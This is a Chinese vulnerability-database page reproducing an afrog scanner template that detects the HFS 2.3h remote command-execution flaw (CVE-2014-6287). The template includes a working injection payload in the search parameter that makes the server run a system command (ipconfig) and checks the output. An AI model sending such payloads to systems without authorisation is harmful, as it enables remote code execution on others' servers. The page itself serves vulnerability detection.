hfs-rce-cmd-exec: HFS 2.3h 命令执行漏洞检测

日期: 2025-09-01 | 影响软件: HFS | POC: 已公开

漏洞描述

检测 HttpFileServer (HFS) v2.3h 存在命令执行漏洞，允许远程攻击者通过构造特定 search 参数执行系统命令。

PoC代码[已公开]

id: hfs-rce-cmd-exec

info:
  name: HFS 2.3h 命令执行漏洞检测
  author: chatgpt
  severity: critical
  description: |
    检测 HttpFileServer (HFS) v2.3h 存在命令执行漏洞，允许远程攻击者通过构造特定 search 参数执行系统命令。
  reference:
    - https://www.exploit-db.com/exploits/34668
    - https://nvd.nist.gov/vuln/detail/CVE-2014-6287
  tags: rce,hfs,cve,cve2014,windows

rules:
  r0:
    request:
      method: GET
      path: "/?search=%25xxx%25url%25:%password%}{.exec|ipconfig|timeout=5|out=abc.}RESULT:{.^abc.}"
    expression: response.status == 200 && response.body.bcontains(b"Windows IP")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/fingerprinting/hfs-rce-cmd-exec.yaml

相关漏洞推荐